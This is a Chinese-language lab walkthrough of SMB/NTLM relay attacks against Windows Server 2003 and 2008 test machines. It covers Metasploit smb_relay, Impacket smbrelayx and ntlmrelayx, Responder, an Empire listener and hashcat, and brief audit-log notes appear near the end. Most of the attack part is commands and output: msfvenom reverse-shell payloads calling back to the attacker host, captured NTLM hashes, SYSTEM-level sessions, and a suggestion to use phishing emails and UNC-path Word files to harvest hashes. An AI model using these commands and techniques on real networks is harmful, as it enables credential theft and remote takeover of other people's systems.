背景知识
什么是SMB
服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。在Windows 2000之前,SMB过去通过TCP / IP端口139与NetBIOS一起运行。因此,建立SMB连接需要NetBIOS会话。
从Windows 2000及更高版本开始,SMB可以使用端口445在TCP / IP
上运行,而无需运行NetBIOS
会话。由于SMB提供了多种功能,例如操作文件,共享,消息传递,IPC等,它在内网枚举和内网探索阶段是对黑客最有吸引力的服务之一。
另一方面,Samba是SMB的UNIX实现。Samba用于为客户端提供通过SMB协议访问UNIX目录和文件的能力,如果他们与Windows服务器通信则完全相同。Samba现在可以在多个平台上运行,是大多数Linux发行版的重要组成部分。
经常看到两个特殊共享:IPC$
和ADMIN$
共享。ADMIN$
共享基本上可以被认为是路径C:\Windows
的符号链接。[3] IPC$
略有不同。它不直接映射到文件系统,而是提供一个接口,通过该接口可以执行远程过程调用(RPC)。
NTLM hash 和 Net-NTLM hash
-
NTLM(V1/V2)
的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行Pass the Hash
攻击 -
Net-NTLM(V1/V2)
的hash值是基于用户密码的NTLM hash计算出来的,用于网络中的认证,步骤如下:- 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
- 服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
- 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
- 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash。
NTLM和SMB的关系
SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtH
和PtT
攻击的基础。
NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。
从攻击角度来看
- 可以利用NTLM哈希值进行“哈希传递”攻击
- 无法利用Net-NTLM哈希值来进行“哈希传递”攻击
实验smb中继攻击(smb relay attack)
三台实验机:
- 192.168.138.128 windows 2003 r2
- 192.168.138.134 windows 2008 r2
- 192.168.138.136 kali
metasploit
中的smb_relay
实质上是ms08-068
msf exploit(windows/smb/smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.138.136 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
在windows 2003命令提示符dir \\192.168.138.136\c$
,然后在kali中会看到
msf exploit(windows/smb/smb_relay) >
[*] Received 192.168.138.128:1032 X-90E984B4C76D4\Administrator LMHASH:77c5c86213cb376f72448eba4af2c32102bb5a6f121f4cc5 NTHASH:77c5c86213cb376f72448eba4af2c32102bb5a6f121f4cc5 OS:Windows Server 2003 R2 3790 Service Pack 2 LM:
[*] Authenticating to 192.168.138.128 as X-90E984B4C76D4\Administrator...
[*] AUTHENTICATED as X-90E984B4C76D4\Administrator...
[*] Connecting to the defined share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \hGaRjHmf.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (179779 bytes) to 192.168.138.128
[*] Closing service handle...
[*] Deleting \hGaRjHmf.exe...
然后直接getshell,还是system权限,因为调用了系统服务。
msf exploit(windows/smb/smb_relay) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ X-90E984B4C76D4 192.168.138.136:4444 -> 192.168.138.128:1034 (192.168.138.128)
Impacket中的smbrelayx
先生成一个msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.136 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\test.exe
(如果没有-e
则会导致会话无法执行指令,迷)
启用msfconsole
中exploit/multi/handler
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.138.136
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.138.136:4444
运行smbrelayx.py
,随后在Windows2003上执行dir \\192.168.138.136\c$
root@kali:~/github.com/impacket/examples# ./smbrelayx.py -e ~/test.exe
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
...
[*] SMBD: Received connection from 192.168.138.128, attacking target 192.168.138.128
[*] Downgrading to standard security
[*] Administrator::X-90E984B4C76D4::78eea6111789ff58a34021f7f705f1a7:010100000000000064064c9c61a2d401977f42bea6b5faeb0000000002001e003100390032002e003100360038002e003100330038002e003100330036000000000000000000
[*] Sending status code STATUS_SUCCESS after authentication to 192.168.138.128
[*] Requesting shares on 192.168.138.128.....
[-] TreeConnectAndX not found C$
[*] Found writable share C$
[*] Uploading file ZFeWbgQb.exe
[*] Opening SVCManager on 192.168.138.128.....
[*] Creating service Lgnj on 192.168.138.128.....
[*] Starting service Lgnj.....
[*] Service Installed.. CONNECT!
[*] Opening SVCManager on 192.168.138.128.....
[*] Stopping service Lgnj.....
[*] Removing service Lgnj.....
[*] Removing file ZFeWbgQb.exe.....
但是因为没有自动迁移进程,导致Removing file
的时候,会话也随之关闭了,补上set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) >
[*] Sending stage (179779 bytes) to 192.168.138.128
[*] Session ID 2 (192.168.138.136:4444 -> 192.168.138.128:1072) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against X-90E984B4C76D4
[*] Current server process: rsARNJVQ.exe (2924)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3548
成功获得了会话。查看Windows2003的安全日志中的登陆记录。
成功的网络登录:
用户名: Administrator
域: X-90E984B4C76D4
登录 ID: (0x0,0x24EC4B)
登录类型: 3
登录过程: NtLmSsp
身份验证数据包: NTLM
工作站名: \\192.168.138.136
登录 GUID: -
调用方用户名: -
调用方域: -
调用方登录 ID: -
调用方进程 ID: -
传递服务: -
源网络地址: 192.168.138.136
源端口: 0
然后在Windows2008上用同样的方式测试,结果失败了。查看安全日志,smbrelayx.py
使用的是NTLM
协议。
失败信息:
失败原因: 登录期间出错。
状态: 0xc0000225
子状态: 0x0
进程信息:
调用方进程 ID: 0x0
调用方进程名: -
网络信息:
工作站名: \\192.168.138.136
源网络地址: 192.168.138.136
源端口: 56764
详细身份验证信息:
登录进程:
身份验证数据包: NTLM
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0
于是执行smbrelayx.py -e ~\test.exe -h 192.168.138.134
。
在192.168.138.128上执行net use \\192.168.138.136\c$
,会提示登陆。如果用dir \\192.168.138.136\c$
则不会出现登陆提示。对于 SMB 协议,客户端在连接服务端时,默认先使用本机的用户名和密码 hash 尝试登录。
smbrelayx.py
会先用192.168.138.128中已有的凭据去尝试登陆192.168.138.134,但是失败了(下图中的FAILED
)。根据提示输入192.168.138.134正确的用户密码后,kali
已经截获了这段凭据并成功登陆192.168.138.134(下图中的SUCCESSD
)。
同时msfconsole
也有新的会话。
msf exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
10 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-NCKR2PCSN9S 192.168.138.136:4444 -> 192.168.138.134:49175 (192.168.138.134)
可以看到用的是ntlm v2
了
Responder
自从MS08-068漏洞修复之后无法再将Net-NTLM
哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。
在开启了 SMB Signing 的情况下,在 SMB 协议利用 NTLM SSP 进行了身份验证后,后续的所有数据包,都会利用 NTLM SSP 生成的这个 session key 进行签名。SMB 服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。
NTLM SSP 在生成 session key 的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而 relay 型的攻击,都是站在一个中间人的位置,我们是不可能知道原始的 LM HASH 或 NT HASH 的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个 session key 的,自然也就无法对数据包进行签名。[1]
kali上开启Responder
[+] Listening for events...
[SMB] NTLMv1-SSP Client : 192.168.138.128
[SMB] NTLMv1-SSP Username : X-90E984B4C76D4\Administrator
[SMB] NTLMv1-SSP Hash : Administrator::X-90E984B4C76D4:EA5A228BDB5C97EF00000000000000000000000000000000:C81588416C74D38286FA5B45E180A3B9ED9615F496792D98:1456aee87021480e
[SMBv2] NTLMv2-SSP Client : 192.168.138.134
[SMBv2] NTLMv2-SSP Username : WIN-NCKR2PCSN9S\Administrator
[SMBv2] NTLMv2-SSP Hash : Administrator::WIN-NCKR2PCSN9S:6eb8f43844d7feb7:E0F877DF0A4855484566B24F795B718F:0101000000000000C0653150DE09D201100D18CCAEF2EC42000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000088A9ED7EC61592A92226F2414C047FF23551F31ED123B23866B5F290BD36C6A60A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330038002E00310033003600000000000000000000000000
截取到的hash可以使用hashcat去破解,可以看到破解出来的密码是123456
hashcat -m 哈希类型 Administrator::X-90E984B4C76D4:EA5A228BDB5....
-m: hash-type,5600对应NetNTLMv2,5500对应NetNTLMv1,通过hashcat --help
可以查看支持的hash类型
-o: 输出文件 字典文件为/tmp/password.list
–force代表强制执行,windows系统不支持Intel OpenCL
实际利用:发送钓鱼邮件,用户打开邮件时会隐蔽访问伪造的服务器,服务器通过捕获数据包就能获得目标当前用户的Net-NTLM hash,进一步破解还原出明文密码。
responder充其量只有一个回显hash功能,可以结合ntlmrelayx.py
和Empire框架
进行进一步利用。
修改
/etc/responder/Responder.conf
禁用SMB
和HTTP
功能。
执行responder -I eth0 -r -d -v
-
下载并安装
empire
框架,新建一个监听器(坑)(Empire: listeners) > uselistener http (Empire: listeners/http) > set Host http://192.168.138.136:8080 (Empire: listeners/http) > set Port 8080 (Empire: listeners/http) > set Name test (Empire: listeners/http) > execute
并生成对应的powershell命令
-
开启中继,
ntlmrelayx.py -t 192.168.138.134 -c 'powershell脚本生成的内容'
将Windows2003的密码改为与Windows2008一样之后,资源管理器访问\\test
,终于成功了。
结合上述方法再借助DeathStar这样的工具,攻击者将很轻易获取windows的域管理权限。(Todo)
本地安全策略->高级审核策略配置->对象访问
启用对共享文件的审核,在系统安全日志中可以查看到5140和5145两个事件
5140事件
已访问网络共享对象。
主题:
安全 ID: WIN-NCKR2PCSN9S\Administrator
帐户名: Administrator
帐户域: WIN-NCKR2PCSN9S
登录 ID: 0xaeca69
网络信息:
对象类型: File
源地址: 192.168.138.136
源端口: 51548
共享信息:
共享名: \\*\IPC$
共享路径:
访问请求信息:
访问掩码: 0x1
访问次数: ReadData (或 ListDirectory)
5145事件
已检查网络共享对象是否可以授予客户端所需的访问权限。
使用者:
安全 ID: WIN-NCKR2PCSN9S\Administrator
帐户名: Administrator
帐户域: WIN-NCKR2PCSN9S
登录 ID: 0xaeca69
网络信息:
对象类型: File
源地址: 192.168.138.136
源端口: 51548
共享信息:
共享名称: \\*\ADMIN$
共享路径: \??\C:\Windows
相对目标名称: Temp\__output
访问请求信息:
访问掩码: 0x1
访问: ReadData (或 ListDirectory)
访问检查结果:
-
其他手段
metasploit中的auxiliary/docx/word_unc_injector
会创建一个带有unc路径
的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。